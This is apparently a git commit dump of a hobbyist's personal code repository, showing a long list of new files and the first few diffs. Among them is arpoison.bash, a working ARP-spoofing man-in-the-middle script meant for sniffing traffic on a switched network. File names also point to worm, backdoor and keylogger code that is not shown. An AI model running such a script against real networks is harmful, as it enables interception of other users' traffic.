bash/bbs/utils/fm/fm-1.0/fm.c create mode 100644 bash/bbs/utils/fm/fm-1.0/fm.h create mode 100644 bash/bbs/utils/fm/fm-1.0/fm.o create mode 100644 bash/bbs/utils/fm/fm-1.0/fs.c create mode 100644 bash/bbs/utils/fm/fm-1.0/fs.o create mode 100755 bash/bbs/utils/fm/fm-1.0/gen_protos.sh create mode 100644 bash/bbs/utils/fm/fm-1.0/ino.c create mode 100644 bash/bbs/utils/fm/fm-1.0/strace create mode 100644 bash/bbs/utils/fm/fm-1.0/ui.c create mode 100644 bash/bbs/utils/fm/fm-1.0/ui.o create mode 100755 bash/bbs/utils/fselect create mode 100755 bash/bbs/utils/menu create mode 100644 bash/bbs/utils/menu.c create mode 100644 bash/bbs/utils/menu.py create mode 100644 "bash/bbs/utils/\304\233\305\241\304\215\305\231\305\276\303\275\303\241\303\255\303\251" create mode 100755 bash/bhttpd/httpd.bash create mode 100755 bash/bircb/birc.bash create mode 100755 bash/bircb/r create mode 100755 bash/bircb/test.bash create mode 100755 bash/bsod.sh create mode 100755 bash/butils/tinyutils.bash create mode 100755 bash/caudacious.sh create mode 100644 bash/debian-ports/debiarch.sh create mode 100644 bash/debian-ports/test/PKGBUILD create mode 100644 bash/debian-ports/test/debian.install create mode 100644 bash/debian-ports/test/postinst create mode 100755 bash/getopts.sh create mode 100755 bash/hhgame/etc/motd create mode 100755 bash/hhgame/etc/win create mode 100755 bash/hhgame/games/stupid.sh create mode 100755 bash/hhgame/include.sh create mode 100755 bash/hhgame/login.sh create mode 100755 bash/hhgame/man/hhgame.txt create mode 100755 bash/hhgame/shell.sh create mode 100755 bash/hhgame/test.sh create mode 100755 bash/hhgame/var/log/winners create mode 100755 bash/hhgame/win.sh create mode 100755 bash/infect/bash-worm.htm create mode 100755 bash/infect/bash-worm.swf create mode 100755 bash/infect/hello create mode 100755 bash/infect/hello.c create mode 100755 bash/infect/infect-mini.bash create mode 100755 bash/infect/infect-test.bash create mode 100755 bash/infect/infect.bash create mode 100755 bash/infect/lol create mode 100755 bash/infect/test.sh create mode 100755 bash/infect/vicitim.sh create mode 100755 bash/initbackdoor/S13etd create mode 100755 bash/initbackdoor/initl.sh create mode 100644 bash/lame-recoder/.gitignore create mode 100644 bash/lame-recoder/All create mode 100644 bash/lame-recoder/But create mode 100644 bash/lame-recoder/PKGBUILD create mode 100755 bash/lame-recoder/lamer.bash create mode 100755 bash/lastfm/lastfm.bash create mode 100644 bash/meld-pacnew.sh create mode 100755 bash/nano-crypt/ccrypt-nano create mode 100644 bash/nano-crypt/lol.txt.cpt create mode 100755 bash/nano-crypt/tee-lazy create mode 100644 bash/nano-crypt/tee-lazy.c create mode 100755 bash/netinfect/neti.bash create mode 100755 bash/netinfect/open22s.txt create mode 100644 bash/pidgin.bash create mode 100644 bash/pingscan.sh create mode 100755 bash/scannery/internet-graber create mode 100755 bash/scannery/minicom.cap create mode 100755 bash/ssh-keepalive/falive create mode 100755 bash/ssh-keepalive/kalive create mode 100755 bash/sys_call_table.sh create mode 100755 bash/turbo.bash create mode 100644 bash/virustotal/bad create mode 100644 bash/virustotal/good create mode 100755 bash/virustotal/virustotal.sh create mode 100755 bash/wine_sandbox.bash create mode 100644 bash/world-animation/world.sh create mode 100644 bash/world-animation/world.txt create mode 100644 bash/x-mouse/click.c create mode 100644 bash/x-mouse/pixart.sh create mode 100644 bash/x-mouse/xwarppointer/Makefile create mode 100644 bash/x-mouse/xwarppointer/README create mode 100644 bash/x-mouse/xwarppointer/main.c create mode 100755 bash/x-mouse/xwarppointer/swap.pl create mode 100644 bash/xdotool-exploit.txt create mode 100755 bash/xpbsod.sh create mode 100755 bash/youtube.sh create mode 100644 bash/zenman/PKGBUILD create mode 100644 bash/zenman/dsf create mode 100755 bash/zenman/old/zenman.sh create mode 100644 bash/zenman/screens/avail.png create mode 100644 bash/zenman/screens/notification-2.png create mode 100644 bash/zenman/screens/noupdate.png create mode 100644 bash/zenman/screens/zenman-logo.png create mode 100644 bash/zenman/screens/zenman-screenshot-2.png create mode 100644 bash/zenman/screens/zenman-screenshot-2.xcf create mode 100644 bash/zenman/screens/zenman-screenshot.png create mode 100755 bash/zenman/zenman.bash create mode 100755 c/a.out create mode 100755 c/aclox create mode 100755 c/aclox.c create mode 100755 c/alarm/alarm create mode 100755 c/alarm/alarm.c create mode 100755 c/binary create mode 100644 c/binary.c create mode 100755 c/biometrics/biom create mode 100755 c/biometrics/biom.c create mode 100755 c/bpole/bity create mode 100755 c/bpole/bity.c create mode 100755 c/bpole/bpole.c create mode 100755 c/brute create mode 100755 c/brute.c create mode 100755 c/brute.d create mode 100755 c/combinator create mode 100755 c/combinator.c create mode 100644 c/condrum/Makefile.win create mode 100644 c/condrum/bass.dll create mode 100644 c/condrum/bass.h create mode 100644 c/condrum/bass.lib create mode 100644 c/condrum/condrum.c create mode 100644 c/condrum/condrum.dev create mode 100644 c/condrum/condrum.exe create mode 100644 c/condrum/condrum.ico create mode 100644 c/condrum/condrum.o create mode 100644 c/condrum/condrum_private.h create mode 100644 c/condrum/condrum_private.rc create mode 100644 c/condrum/condrum_private.res create mode 100644 c/condrum/loop.txt create mode 100755 c/contests/mrcrow create mode 100755 c/contests/mrcrow.c create mode 100644 c/cshell/cshell.c create mode 100644 c/dot.png create mode 100644 c/dreammachine/PKGBUILD create mode 100644 c/dreammachine/dm.html create mode 100755 c/dreammachine/strobe create mode 100644 c/dreammachine/strobe.c create mode 100644 c/dreammachine/strobe.gif create mode 100755 c/fork.c create mode 100755 c/fork/client.c create mode 100755 c/fork/fork.c create mode 100755 c/hello create mode 100755 c/hello.c create mode 100755 c/i.c create mode 100755 c/kalk/kalk create mode 100755 c/kalk/kalk.c create mode 100755 c/kalk/kalk.c.save create mode 100755 c/kbhit create mode 100755 c/kbhit.c create mode 100755 c/keylogger/keylog.txt create mode 100755 c/keylogger/klog create mode 100755 c/keylogger/klog.c create mode 100755 c/keylogger/lol create mode 100755 c/keylogger/mice create mode 100755 c/keylogger/rofl create mode 100755 c/keylogger/spoofk create mode 100755 c/keylogger/spoofk.c create mode 100644 c/lkm/.hello.ko.cmd create mode 100644 c/lkm/.hello.mod.o.cmd create mode 100644 c/lkm/.hello.o.cmd create mode 100644 c/lkm/.proc.ko.cmd create mode 100644 c/lkm/.proc.mod.o.cmd create mode 100644 c/lkm/.proc.o.cmd create mode 100644 c/lkm/.tmp_versions/hello.mod create mode 100644 c/lkm/.tmp_versions/proc.mod create mode 100644 c/lkm/Makefile create mode 100644 c/lkm/Module.symvers create mode 100644 c/lkm/hello.c create mode 100644 c/lkm/hello.ko create mode 100644 c/lkm/hello.mod.c create mode 100644 c/lkm/hello.mod.o create mode 100644 c/lkm/hello.o create mode 100644 c/lkm/modules.order create mode 100644 c/lkm/oldmak create mode 100644 c/lkm/proc.c create mode 100644 c/lkm/proc.ko create mode 100644 c/lkm/proc.mod.c create mode 100644 c/lkm/proc.mod.o create mode 100644 c/lkm/proc.o create mode 100755 c/mice create mode 100755 c/mice.c create mode 100755 c/mmap/mmap create mode 100644 c/mmap/mmap.c create mode 100755 c/ninvaders-0.1.1/ChangeLog create mode 100755 c/ninvaders-0.1.1/Makefile create mode 100755 c/ninvaders-0.1.1/aliens.c create mode 100755 c/ninvaders-0.1.1/aliens.h create mode 100755 c/ninvaders-0.1.1/globals.c create mode 100755 c/ninvaders-0.1.1/globals.h create mode 100755 c/ninvaders-0.1.1/gpl.txt create mode 100755 c/ninvaders-0.1.1/nInvaders.c create mode 100755 c/ninvaders-0.1.1/nInvaders.h create mode 100755 c/ninvaders-0.1.1/player.c create mode 100755 c/ninvaders-0.1.1/player.h create mode 100755 c/ninvaders-0.1.1/readme create mode 100755 c/ninvaders-0.1.1/ufo.c create mode 100755 c/ninvaders-0.1.1/ufo.h create mode 100755 c/ninvaders-0.1.1/view.c create mode 100755 c/ninvaders-0.1.1/view.h create mode 100755 c/polymorph/morph create mode 100755 c/polymorph/morph.c create mode 100755 c/polymorph/morphthis.txt create mode 100755 c/polymorph/mutant.exe create mode 100755 c/polymorph/out.txt create mode 100755 c/pong/erl_crash.dump create mode 100755 c/pong/hPong.nfo create mode 100755 c/pong/pong create mode 100755 c/pong/pong.c create mode 100644 c/sampler/Makefile create mode 100644 c/sampler/ao_example.c create mode 100644 c/sampler/c/playmus.c create mode 100644 c/sampler/c/sdl-example.c create mode 100644 c/sampler/c/sdl-old.c create mode 100644 c/sampler/c/sdl-old2.c create mode 100644 c/sampler/c/sdl-sampler_backup.c create mode 100755 c/sampler/sdl create mode 100644 c/sampler/sdl.c create mode 100755 c/sampler/synth create mode 100644 c/sampler/synth.c create mode 100644 c/sampler/test.seq create mode 100644 c/sdl/sdl.c create mode 100755 c/shellcodegenerator/scgen create mode 100755 c/shellcodegenerator/scgen.c create mode 100755 c/spiral create mode 100755 c/spiral.c create mode 100755 c/strtok create mode 100755 c/strtok.c create mode 100755 c/termio create mode 100755 c/termio.c create mode 100755 c/tv-b-gone/Makefile create mode 100755 c/tv-b-gone/NAcodes.c create mode 100755 c/tv-b-gone/codes.h create mode 100755 c/tv-b-gone/main.c create mode 100755 c/tv-b-gone/main.h create mode 100755 c/tv-b-gone/parsecode.pl create mode 100755 c/tv-b-gone/tvbgone.hex create mode 100755 c/tv-b-gone/util.c create mode 100755 c/tv-b-gone/util.h create mode 100644 java/DrawingCanvas.class create mode 100644 java/DrawingRegion.class create mode 100644 java/_nodist/SketchPanel.java create mode 100644 java/_nodist/socket.java create mode 100644 java/canvas.class create mode 100644 java/canvas.java create mode 100644 java/pong/Makefile create mode 100644 java/pong/PongFrame.class create mode 100644 java/pong/PongNetwork.class create mode 100644 java/pong/PongPanel.class create mode 100644 java/pong/README create mode 100644 java/pong/doc/allclasses-frame.html create mode 100644 java/pong/doc/allclasses-noframe.html create mode 100644 java/pong/doc/constant-values.html create mode 100644 java/pong/doc/deprecated-list.html create mode 100644 java/pong/doc/help-doc.html create mode 100644 java/pong/doc/index-all.html create mode 100644 java/pong/doc/index.html create mode 100644 java/pong/doc/overview-tree.html create mode 100644 java/pong/doc/package-frame.html create mode 100644 java/pong/doc/package-list create mode 100644 java/pong/doc/package-summary.html create mode 100644 java/pong/doc/package-tree.html create mode 100644 java/pong/doc/pong.html create mode 100644 java/pong/doc/resources/inherit.gif create mode 100644 java/pong/doc/stylesheet.css create mode 100644 java/pong/pong.class create mode 100644 java/pong/pong.java create mode 100644 misc/eset/.gitignore create mode 100644 misc/eset/analyze.c create mode 100755 misc/eset/lsort.sh create mode 100755 misc/eset/run.bash create mode 100755 misc/eset/run.pl create mode 100755 misc/gbook/dtemp create mode 100755 misc/gbook/game01.txt create mode 100755 misc/gbook/gbook.bash create mode 100755 misc/gbook/go.sh create mode 100755 misc/gbook/hacker.txt create mode 100755 misc/gbook/lol create mode 100755 misc/gbook/rand.sh create mode 100644 misc/multiplatform-ui/clanek.html create mode 100644 misc/multiplatform-ui/clanek.pdf create mode 100644 misc/multiplatform-ui/glade3.png create mode 100755 misc/multiplatform-ui/hello create mode 100644 misc/multiplatform-ui/hello.c create mode 100644 misc/multiplatform-ui/hello.cs create mode 100644 misc/multiplatform-ui/hello.html create mode 100755 misc/multiplatform-ui/hello.php create mode 100755 misc/multiplatform-ui/hello.pl create mode 100644 misc/multiplatform-ui/hello.png create mode 100755 misc/multiplatform-ui/hello.py create mode 100644 misc/multiplatform-ui/hello.ui create mode 100755 misc/multiplatform-ui/test.php create mode 100644 mono/testgtk/Packages.mdproj create mode 100644 mono/testgtk/testgtk.sln create mode 100644 mono/testgtk/testgtk.userprefs create mode 100644 mono/testgtk/testgtk/AssemblyInfo.cs create mode 100644 mono/testgtk/testgtk/Main.cs create mode 100644 mono/testgtk/testgtk/MainWindow.cs create mode 100644 mono/testgtk/testgtk/gtk-gui/MainWindow.cs create mode 100644 mono/testgtk/testgtk/gtk-gui/generated.cs create mode 100644 mono/testgtk/testgtk/gtk-gui/gui.stetic create mode 100644 mono/testgtk/testgtk/testgtk.csproj create mode 100644 mono/testgtk/testgtk/testgtk.pidb create mode 100644 perl/cells.pl create mode 100755 perl/circle.pl create mode 100755 perl/crawler/berkeley.pl create mode 100755 perl/crawler/crawl-old.pl create mode 100755 perl/crawler/crawl-q.pl create mode 100755 perl/crawler/crawl.pl create mode 100755 perl/crawler/r.pl create mode 100644 perl/crawler/urls.txt create mode 100755 perl/curses/curses.pl create mode 100755 perl/curses/dialog.pl create mode 100755 perl/curses/edit.pl create mode 100755 perl/curses/file.pl create mode 100755 perl/curses/plaincurses.pl create mode 100755 perl/curses/textentry.pl create mode 100644 perl/embed/Makefile create mode 100755 perl/embed/embed create mode 100644 perl/embed/embed.c create mode 100755 perl/fce.pl create mode 100644 perl/fullmoon/PKGBUILD create mode 100755 perl/fullmoon/dbg/fullmoon.pl create mode 100755 perl/fullmoon/dbg/moonphase.pl create mode 100644 perl/fullmoon/moonphase-applet.desktop create mode 100755 perl/fullmoon/moonphase-applet.pl create mode 100644 perl/fullmoon/moonphase-icons/Moon_phase_0.svg create mode 100644 perl/fullmoon/moonphase-icons/Moon_phase_1.svg create mode 100644 perl/fullmoon/moonphase-icons/Moon_phase_2.svg create mode 100644 perl/fullmoon/moonphase-icons/Moon_phase_3.svg create mode 100644 perl/fullmoon/moonphase-icons/Moon_phase_4.svg create mode 100644 perl/fullmoon/moonphase-icons/Moon_phase_5.svg create mode 100644 perl/fullmoon/moonphase-icons/Moon_phase_6.svg create mode 100644 perl/fullmoon/moonphase-icons/Moon_phase_7.svg create mode 100644 perl/fullmoon/pix/phase01.gif create mode 100644 perl/fullmoon/pix/phase02.gif create mode 100644 perl/fullmoon/pix/phase03.gif create mode 100644 perl/fullmoon/pix/phase04.gif create mode 100644 perl/fullmoon/pix/phase05.gif create mode 100644 perl/fullmoon/pix/phase06.gif create mode 100644 perl/fullmoon/pix/phase07.gif create mode 100644 perl/fullmoon/pix/phase08.gif create mode 100644 perl/fullmoon/pix2/mes0.gif create mode 100644 perl/fullmoon/pix2/mes1.gif create mode 100644 perl/fullmoon/pix2/mes10.gif create mode 100644 perl/fullmoon/pix2/mes11.gif create mode 100644 perl/fullmoon/pix2/mes12.gif create mode 100644 perl/fullmoon/pix2/mes13.gif create mode 100644 perl/fullmoon/pix2/mes14.gif create mode 100644 perl/fullmoon/pix2/mes15.gif create mode 100644 perl/fullmoon/pix2/mes16.gif create mode 100644 perl/fullmoon/pix2/mes17.gif create mode 100644 perl/fullmoon/pix2/mes18.gif create mode 100644 perl/fullmoon/pix2/mes19.gif create mode 100644 perl/fullmoon/pix2/mes2.gif create mode 100644 perl/fullmoon/pix2/mes20.gif create mode 100644 perl/fullmoon/pix2/mes21.gif create mode 100644 perl/fullmoon/pix2/mes22.gif create mode 100644 perl/fullmoon/pix2/mes23.gif create mode 100644 perl/fullmoon/pix2/mes24.gif create mode 100644 perl/fullmoon/pix2/mes25.gif create mode 100644 perl/fullmoon/pix2/mes26.gif create mode 100644 perl/fullmoon/pix2/mes27.gif create mode 100644 perl/fullmoon/pix2/mes28.gif create mode 100644 perl/fullmoon/pix2/mes29.gif create mode 100644 perl/fullmoon/pix2/mes3.gif create mode 100644 perl/fullmoon/pix2/mes30.gif create mode 100644 perl/fullmoon/pix2/mes31.gif create mode 100644 perl/fullmoon/pix2/mes32.gif create mode 100644 perl/fullmoon/pix2/mes33.gif create mode 100644 perl/fullmoon/pix2/mes34.gif create mode 100644 perl/fullmoon/pix2/mes35.gif create mode 100644 perl/fullmoon/pix2/mes4.gif create mode 100644 perl/fullmoon/pix2/mes5.gif create mode 100644 perl/fullmoon/pix2/mes6.gif create mode 100644 perl/fullmoon/pix2/mes7.gif create mode 100644 perl/fullmoon/pix2/mes8.gif create mode 100644 perl/fullmoon/pix2/mes9.gif create mode 100644 perl/fullmoon/pix3/fm1.gif create mode 100644 perl/fullmoon/pix3/fm2.gif create mode 100644 perl/fullmoon/pix3/fm3.gif create mode 100644 perl/fullmoon/pix3/fm4.gif create mode 100644 perl/fullmoon/pix3/fm5.gif create mode 100644 perl/fullmoon/pix3/fm6.gif create mode 100644 perl/fullmoon/pix3/fm7.gif create mode 100644 perl/fullmoon/pix3/fm8.gif create mode 100644 perl/fullmoon/pix4/Moon_phase_0.svg create mode 100644 perl/fullmoon/pix4/Moon_phase_1.svg create mode 100644 perl/fullmoon/pix4/Moon_phase_2.svg create mode 100644 perl/fullmoon/pix4/Moon_phase_3.svg create mode 100644 perl/fullmoon/pix4/Moon_phase_4.svg create mode 100644 perl/fullmoon/pix4/Moon_phase_5.svg create mode 100644 perl/fullmoon/pix4/Moon_phase_6.svg create mode 100644 perl/fullmoon/pix4/Moon_phase_7.svg create mode 100644 perl/fullmoon/pix5/cartoonmoon_12frames.png create mode 100644 perl/fullmoon/pix5/moon_56frames.png create mode 100755 perl/fuse/fs1.pl create mode 100755 perl/fuse/fs2.pl create mode 100755 perl/gnutella/gnutella.pl create mode 100644 perl/grfkill/PKGBUILD create mode 100644 perl/grfkill/rfkill-applet.desktop create mode 100755 perl/grfkill/rfkill-applet.pl create mode 100755 perl/grfkill/thread-rfkill-applet.pl create mode 100755 perl/gtk2/builder.pl create mode 100755 perl/gtk2/glade/builder.pl create mode 100644 perl/gtk2/glade/sample.builder create mode 100755 perl/gtk2/gtk2.pl create mode 100644 perl/gtk2/sample.builder create mode 100644 perl/index/.gitignore create mode 100755 perl/index/index.pl create mode 100755 perl/input.pl create mode 100644 perl/kyberia/.gitignore create mode 100644 perl/kyberia/Kyberia.pl create mode 100755 perl/kyberia/builder.pl create mode 100644 perl/kyberia/kyberia-mail.ui create mode 100644 perl/lol create mode 100755 perl/lwp.pl create mode 100644 perl/mail.html create mode 100755 perl/mandelbrot.pl create mode 100755 perl/mandelbrot2.pl create mode 100755 perl/pi.pl create mode 100755 perl/prime.pl create mode 100755 perl/smtp.pl create mode 100755 perl/smtp2.pl create mode 100755 perl/smtp3.pl create mode 100755 perl/socket.pl create mode 100755 perl/term.pl create mode 100755 perl/test.php create mode 100755 perl/test.pl create mode 100755 perl/thr.pl create mode 100755 perl/time create mode 100644 perl/timebench/PKGBUILD create mode 100755 perl/timebench/timebench.pl create mode 100755 perl/timeout.pl create mode 100755 perl/translate.pl create mode 100755 perl/xml.pl create mode 100755 php/bannerfind.php create mode 100755 php/botlib.php create mode 100755 php/crawler/crawler.php create mode 100644 php/crawler/curl.debug create mode 100644 php/crawler/urls.txt create mode 100755 php/czech-tts/czech-tts.php create mode 100755 php/de64.php create mode 100755 php/neuronics/neural.php create mode 100755 php/overfloo/flooz/http.floo create mode 100755 php/overfloo/overfloo.php create mode 100755 php/pico/pico.php create mode 100755 php/proslov.php create mode 100755 php/proslov.php.old create mode 100755 php/serv_seek.php create mode 100755 php/suplovani/rozvrh.rss.php create mode 100755 php/suplovani/supl.xml create mode 100755 php/suplovani/suplovani.php create mode 100644 plugins/chrome-extensions/DrawView/content.css create mode 100644 plugins/chrome-extensions/DrawView/content.js create mode 100644 plugins/chrome-extensions/DrawView/icon.png create mode 100644 plugins/chrome-extensions/DrawView/jquery.min.js create mode 100644 plugins/chrome-extensions/DrawView/manifest.json create mode 100644 plugins/chrome-extensions/editor/background.html create mode 100644 plugins/chrome-extensions/editor/content_script.js create mode 100644 plugins/chrome-extensions/editor/icon.png create mode 100644 plugins/chrome-extensions/editor/jquery-1.3.2.min.js create mode 100644 plugins/chrome-extensions/editor/manifest.json create mode 100644 plugins/chrome-extensions/editor/popup.css create mode 100644 plugins/chrome-extensions/editor/popup.html create mode 100644 plugins/chrome-extensions/kybca2/background.html create mode 100644 plugins/chrome-extensions/kybca2/ico-big.png create mode 100644 plugins/chrome-extensions/kybca2/login.html create mode 100644 plugins/chrome-extensions/kybca2/manifest.json create mode 100644 plugins/chrome-extensions/kybca2/options.html create mode 100644 plugins/chrome-extensions/kyberia/blinking-mail.gif create mode 100644 plugins/chrome-extensions/kyberia/ico-small.jpg create mode 100644 plugins/chrome-extensions/kyberia/icon.png create mode 100644 plugins/chrome-extensions/kyberia/mail-notify.crx create mode 100644 plugins/chrome-extensions/kyberia/socket.html create mode 100644 plugins/dokuwiki-smileys/button.png create mode 100644 plugins/dokuwiki-smileys/delete.gif create mode 100644 plugins/dokuwiki-smileys/done.png create mode 100644 plugins/dokuwiki-smileys/duplicate.png create mode 100644 plugins/dokuwiki-smileys/fixme.gif create mode 100644 plugins/dokuwiki-smileys/out/done.gif create mode 100644 plugins/dokuwiki-smileys/out/duplicate.gif create mode 100644 plugins/dokuwiki-smileys/out/readme.gif create mode 100644 plugins/dokuwiki-smileys/out/todo.gif create mode 100644 plugins/dokuwiki-smileys/readme.png create mode 100644 plugins/dokuwiki-smileys/todo.gif create mode 100644 plugins/dokuwiki-smileys/todo.png create mode 100644 plugins/firefox-extensions/skeleton/chrome.manifest create mode 100755 plugins/firefox-extensions/skeleton/chrome/content/overlay.xul create mode 100644 plugins/firefox-extensions/skeleton/install.rdf create mode 100644 plugins/firefox-extensions/test/.gitignore create mode 100644 plugins/firefox-extensions/test/launcher/README.txt create mode 100644 plugins/firefox-extensions/test/launcher/chrome.manifest create mode 100644 plugins/firefox-extensions/test/launcher/chrome/content/overlay.js create mode 100644 plugins/firefox-extensions/test/launcher/chrome/content/overlay.xul create mode 100644 plugins/firefox-extensions/test/launcher/chrome/content/prefs.xul create mode 100644 plugins/firefox-extensions/test/launcher/chrome/launcher.jar create mode 100644 plugins/firefox-extensions/test/launcher/install.rdf create mode 100644 plugins/firefox-extensions/test/launcher/launcher-1.1-fx.xpi create mode 100644 plugins/firefox-extensions/test/launcher/link-handlers.js create mode 100644 plugins/firefox-extensions/test/skeleton/chrome.manifest create mode 100644 plugins/firefox-extensions/test/skeleton/chrome/content/connection-xpcom.js create mode 100644 plugins/firefox-extensions/test/skeleton/chrome/content/mozex.js create mode 100644 plugins/firefox-extensions/test/skeleton/chrome/content/overlay.js create mode 100755 plugins/firefox-extensions/test/skeleton/chrome/content/overlay.xul create mode 100644 plugins/firefox-extensions/test/skeleton/install.rdf create mode 100644 plugins/firefox-extensions/test/skeleton/skeleton.zip.xpi create mode 100644 plugins/firefox-extensions/test/test.html create mode 100644 plugins/firefox-extensions/test/top.xul create mode 100644 plugins/pidgin-plugins/.gitignore create mode 100644 plugins/pidgin-plugins/autokiss/COPYING create mode 100644 plugins/pidgin-plugins/autokiss/ChangeLog create mode 100644 plugins/pidgin-plugins/autokiss/Makefile create mode 100644 plugins/pidgin-plugins/autokiss/README create mode 100644 plugins/pidgin-plugins/autokiss/TODO create mode 100755 plugins/pidgin-plugins/autokiss/autoansw.c create mode 100644 plugins/pidgin-plugins/autokiss/autoansw.o create mode 100755 plugins/pidgin-plugins/autokiss/autoansw.so create mode 100755 plugins/pidgin-plugins/autokiss/regex create mode 100644 plugins/pidgin-plugins/autokiss/regex.c create mode 100644 puredata/6.externs/0.README.txt create mode 100644 puredata/6.externs/dspobj~.c create mode 100644 puredata/6.externs/obj1.c create mode 100644 puredata/6.externs/obj2.c create mode 100644 puredata/6.externs/obj3.c create mode 100644 puredata/6.externs/obj4.c create mode 100644 puredata/6.externs/obj5.c create mode 100644 puredata/6.externs/test-dspobj~.pd create mode 100644 puredata/6.externs/test-obj1.pd create mode 100644 puredata/6.externs/test-obj2.pd create mode 100644 puredata/6.externs/test-obj3.pd create mode 100644 puredata/6.externs/test-obj4.pd create mode 100644 puredata/6.externs/test-obj5.pd create mode 100644 puredata/beep~.pd create mode 120000 puredata/ccc.pd_linux create mode 100644 puredata/counter.c create mode 100644 puredata/counter.pd create mode 100755 puredata/counter.pd_linux create mode 100644 puredata/dac_mixer.pd create mode 100644 puredata/desetkrate.pd create mode 100644 puredata/gem.pd create mode 100644 puredata/helloworld.c create mode 100755 puredata/helloworld.pd_linux create mode 100755 puredata/helloworld.so create mode 100644 puredata/neuralnet.pd create mode 100644 puredata/neuron.pd create mode 100644 puredata/norm.pd create mode 100644 puredata/oscope~.pd create mode 100644 puredata/pd-externals-HOWTO.pdf create mode 100755 puredata/pd-jack.sh create mode 100644 puredata/pd.ps create mode 100644 puredata/printer.c create mode 100755 puredata/printer.pd_linux create mode 100644 puredata/rekurze.pd create mode 100644 puredata/test.pd diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..faf6cd6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,16 @@ +*~ +*.bak + +*.gz +*.bz2 +*.xz +*.rar +*.zip +*.tar + +*.mp3 +*.wav +*.mpeg +*.avi +*.ogg +*.ogv diff --git a/bash/arch-wiki/arch-wiki.bash b/bash/arch-wiki/arch-wiki.bash new file mode 100755 index 0000000..b962116 --- /dev/null +++ b/bash/arch-wiki/arch-wiki.bash @@ -0,0 +1,21 @@ +#!/bin/bash +#arch-wiki-docs-search +#requires arch-wiki-docs package + +wiki_title='Archers Guide to Galaxy - DO NOT PANIC!'; +html_docs='/usr/share/doc/arch-wiki/html/'; + +search="harvie"; +search=$(zenity --entry --title="$wiki_title" --text='Enter regular expression to search'); + +file=$( + fgrep -Ri "$search" "$html_docs" | cut -d ':' -f 1 | sort -u | while read file; do + title=$(fgrep -m 1 -i '' "$file" | head -n 1 | cut -d '>' -f 2- | cut -d '<' -f 1); + echo -ne "FALSE\x00$title\x00$file\x00"; + done | xargs -0 zenity --width=800 --height=300 --list --title="$wiki_title" --text='Select page to view' --radiolist --column 'X' --column 'Page' --column 'File' --print-column=3; +); + +echo retu: $?; +echo file: $file; + + diff --git a/bash/arpoison.bash b/bash/arpoison.bash new file mode 100755 index 0000000..00cd949 --- /dev/null +++ b/bash/arpoison.bash @@ -0,0 +1,28 @@ +echo Simple poisoned ARP MITM attack +echo Use this to sniff/dnsspoof in switched network + +if [ $(whoami) != "root" ]; then + echo You have to be root \;P + exit; +fi; + +if [ -z "$2" ]; then + echo Usage: $0 gateway target + exit; +fi; + +echo "$1" \<---\> YOU \<---\> "$2"; echo; + +cleanup() { + kill -2 $(jobs -p); > /dev/null 2>&1 + kill -9 $(jobs -p); > /dev/null 2>&1 + echo All background jobs stoped! + exit; +} + +trap "cleanup" SIGINT; +echo 1 > /proc/sys/net/ipv4/ip_forward +# sysctl -w net.inet.ip.forwarding=1 +arpspoof -t "$2" "$1" & +arpspoof -t "$1" "$2" & +while true; do sleep 100; done; diff --git a/bash/banner.sh b/bash/banner.sh new file mode 100755 index 0000000..96fd540 --- /dev/null +++ b/bash/banner.sh @@ -0,0 +1,6 @@ +#!/bin/bash + +while true; do + banner $@ + sleep 0.1; +done; diff --git a/bash/bash-httpd/bhp/bhp b/bash/bash-httpd/bhp/bhp new file mode 100755 index 0000000..df530a3 --- /dev/null +++ b/bash/bash-httpd/bhp/bhp @@ -0,0 +1,18 @@ +#!/bin/bash +#BHP - BASH Home Page - Engine + +export BHP_LIB=$(dirname $0)'/bhplib.bhp'; + +exec=0; +cat "$1" | sed -e 's/<?bhp/\n<?bhp\n/g;s/?>/\n?>\n/g' | while read line; do + case "$line" in + '<?bhp') exec=1; continue ;; + '?>') exec=0; continue ;; + '') continue ;; + esac + case $exec in + 1) echo "$line" ;; + 0) echo "echo '"$( echo "$line" | sed -e "s/'/'\\\\''/g" )"'" ;; + esac +done | bash + diff --git a/bash/bash-httpd/bhp/bhplib.bhp b/bash/bash-httpd/bhp/bhplib.bhp new file mode 100644 index 0000000..f895ec0 --- /dev/null +++ b/bash/bash-httpd/bhp/bhplib.bhp @@ -0,0 +1,31 @@ +#!/bin/bash +#BHP - BASH Home Page - Library + +$_GET="$QUERY_STRING"; +read _POST; +if [ "$REQUEST_METHOD" == 'POST' ]; then + QUERY_STRING="$POST"; +fi + +QUERY_STRING='hl=cs&q=%C5%BElu%C5%A5ou%C4%8Dk%C3%BD+k%C3%BA%C5%88&btnG=Hledat&lr='; #debug-only + +echo -ne 'Content-type: text/html\n\n' + +urldecode() { + echo -e $( echo "$@" | sed -e 's/+/ /g;s/%/\\x/g' ); +} + +urlvalue() { + if [[ ! -z "$2" ]]; then QUERY_STRING="$2"; fi; + echo "$QUERY_STRING" | sed -e 's/&/\n/g'| while read i; do + param="$(echo $i | cut -d = -f 1)"; param="$(urldecode $param)"; + value="$(echo $i | cut -d = -f 2)"; value="$(urldecode $value)"; + if [[ "$param" == "$1" ]]; then echo "$value"; break; fi; + done; + return 1; +} + +urlvalue q +echo "ret = $?"; +urlvalue qos +echo "ret = $?"; diff --git a/bash/bash-httpd/bhp/env.txt b/bash/bash-httpd/bhp/env.txt new file mode 100644 index 0000000..e12691d --- /dev/null +++ b/bash/bash-httpd/bhp/env.txt @@ -0,0 +1,27 @@ +#i don't care: +PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin +PWD=/srv/http +SHLVL=1 + +#OK CLIENT +REMOTE_ADDR=127.0.0.1 +REQUEST_METHOD=GET +HTTP_HOST=localhost +HTTP_REFERER=http://localhost:8080/ +HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061317 GranParadiso/3.0.11 +HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +HTTP_ACCEPT_LANGUAGE=cs,en-us;q=0.7,en;q=0.3 +HTTP_ACCEPT_ENCODING=gzip,deflate + +#OK SERVER +SERVER_NAME=harvie-ntb +SERVER_PORT=8080 +SCRIPT_NAME=/test.php.cgi +SERVER_PROTOCOL=HTTP/1.1 +SERVER_SOFTWARE=thttpd/2.25b 29dec2003 +GATEWAY_INTERFACE=CGI/1.1 +CGI_PATTERN=**.cgi + +#IMPORTANT!!! +QUERY_STRING=loooooooooooooooooool=mg&2=213 +HTTP_COOKIE=bc_test=true diff --git a/bash/bash-httpd/bhp/index.bhp 